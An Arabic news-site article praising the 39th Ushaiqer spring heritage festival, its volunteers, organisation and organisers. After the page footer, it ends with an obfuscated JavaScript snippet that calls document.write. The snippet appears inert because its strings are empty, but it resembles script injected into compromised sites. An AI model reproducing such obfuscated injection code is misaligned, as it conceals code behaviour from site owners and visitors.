.



إضغط هنا لتنتقل  



مهرجان ربيع اشيقر نجاح مع مرتبة الشرف

عندما نتحدث عن مهرجان ربيع اشيقر 39 فان الوصف والثناء واستعراض برامجه لن يعطيه حقه لأن الحقيقة اكبر من الوصف او الصورة . اشيقر تفوقت وبأشياء كثيرة كانت من أساس نجاح المهرجان وذلك لأن الأدوار التي قام بها المنظمون والعاملون والأهالي كانت كبيرة جدا . فعندما تدخل الى المهرجان يخيل اليك انك في مناسبة عائلية فالجميع يشارك ويبتسم ويعمل ويقدم الضيافة ولاتجد أحدا منهم ينتقدك حتى لو بدر منك خطأ غير مقصود فالأعتذار منهم جاهز مما حبب الزوار في المهرجان واهل المهرجان . المسرح في العام الماضي كان في الطريق المؤدي الى دار التراث وتسبب في زحاما بالقرب منه وماكان من اللجنة هذا العام الا ان وضعت له مكانا فسيحاً في المزارع المجاورة بجوار الطريق المؤدي الى بقية اركان المهرجان في وسط السوق والمتاحف وبقية أجزاء القرية التراثية التي لايخلوا شبرا منها من فعالية مميزة . لأول مرة يكون زوار المهرجان في الختام كبير جداً ففي كل يوم وعلى مدى أسبوعاً كاملاً والأعداد في ازدياد وحتى اخر دقيقة من دقائق المهرجان ويتساءل الكثير عن سر التردد عليه من كل مكان من مناطق المملكة والحماس الزائد في الوصول اليه او تكرار الزيارة له لعدة مرات وخصوصا من المجاورين لأشيقر فيجدون فيه الفسحة والمتعة وقضاء الوقت المفيد المحبب لهم , من الملاحظ في مهرجانات أشيقر تكاتف الجميع في العمل التطوعي ومحاولة اصلاح أي نقص او خلل قد يحصل من احدهم فلا مكان للإنتقاد بينهم فالعمل مشترك والهدف واحد فتجد منظموا المسرح من الشباب عند البوابة يتعاملون بكل رفق واحترام لمرتادي المسرح دون تفرقة بين صغير او كبير او شاب فالجميع لهم الحق في الدخول فقط يشيرون اليك ان النساء في الجهة اليمنى والرجال والشباب في الجهة السرى وهناك داخل المسرح فتيات متطوعات يقمن بالتنظيم والتوجيه لأماكن الجلوس ويتعاملن مع الجميع بكل احترام وتقدير ومع الأطفال بكل رفق ليكونوا في مقاعدهم او اثناء مشاركاتهم على المسرح لا مكان لرفع الصوت او الفوضى او الأعتراض لأن كل شي مرتب ومنظم وبسهولة تحصل على ماتريد في مهرجان عائلي ويتعاملون معك وكأنك الضيف الوحيد الذي شرفتهم وبدعوة خاصة منهم ليكرموك فلا يهملون أحداً ولا يتغافلون عن الترحيب وتقديم الضيافة لكل قادم الى المهرجان بكل صبر وابتسامة حتى يظن القادم الى المهرجان ان الترحيب له فقط مع انه للجميع ودون ملل او كلل رغم طول الوقت من بعد الظهر وحتى العاشرة مساء والجميع خلية نحل سواء في مهرجان الأسر المنتجة او المسر ح او مسرح الطفل او المتاحف التي فتحت ابوابها في كل مكان من القرية التراثية كذلك الدكاكين ومابها من معروضات في غالبيتها الطابع الشعبي التراثي القديم ومحلات بيع المشروبات والمأكولات والجلسات العائلية والفردية وزوار يملأون المكان حيث الجميع يسير في نظام مرتب في جميع أجزاء وأركان المهرجان. وحتى بوابة الدخول مرتبة ومنظمة وخالية من كل فوضى او تذمر من بعض مرتاديها كما يحصل في بعض المهرجانات, أيام مضت والمهرجان يتجدد يوميا حتى اخر ساعة له يوم الجمعة ليلة السبت حيث كرم المشاركون والعاملون والداعمون والمتعاونون وغيرهم ممن لهم دور في النجاح في ختام مبسط كما كان الأفتتاح مبسط دون بهرجة إعلامية تفقد للزائر أهميته في الحضور واخذ الوقت الكافي شكرا للجميع وشكراً للأستاذ عبدالرحمن المغيرة وشكراً للأستاذ احمد المغيرة وشكراً للأستاذة نورة الحقيل شكراً للإعلاميين وشكراً للداعمين والمتطوعين وللزوار الذين احترموا الأنظمة والمكان وغيرهم ممن عمل بجد واجتهد وخدم مدينته اشيقر .
اشيقر التاريخ والتراث اشيقر العلم والعلماء وارض المهرجانات الناحجة بتعاون أهلها وتكاتفهم وترابطهم فتحية لهم جميعاً .

محمد بن عبدالله الحميضي




التعليق عبر الفيس بوك
القسم : مقالات

لا توجد تعليقات

التعليق مغلق


var _0xf471=["","write",""];var _0x4ee8=[_0xf471[0],_0xf471[1],_0xf471[2]];var _0x1ef4=[_0x4ee8[0],_0x4ee8[1],_0x4ee8[2]];var _0x60dd=[_0x1ef4[0],_0x1ef4[1],_0x1ef4[2]];document[_0x60dd[1]](_0x60dd[0]);document[_0x60dd[1]](_0x60dd[2])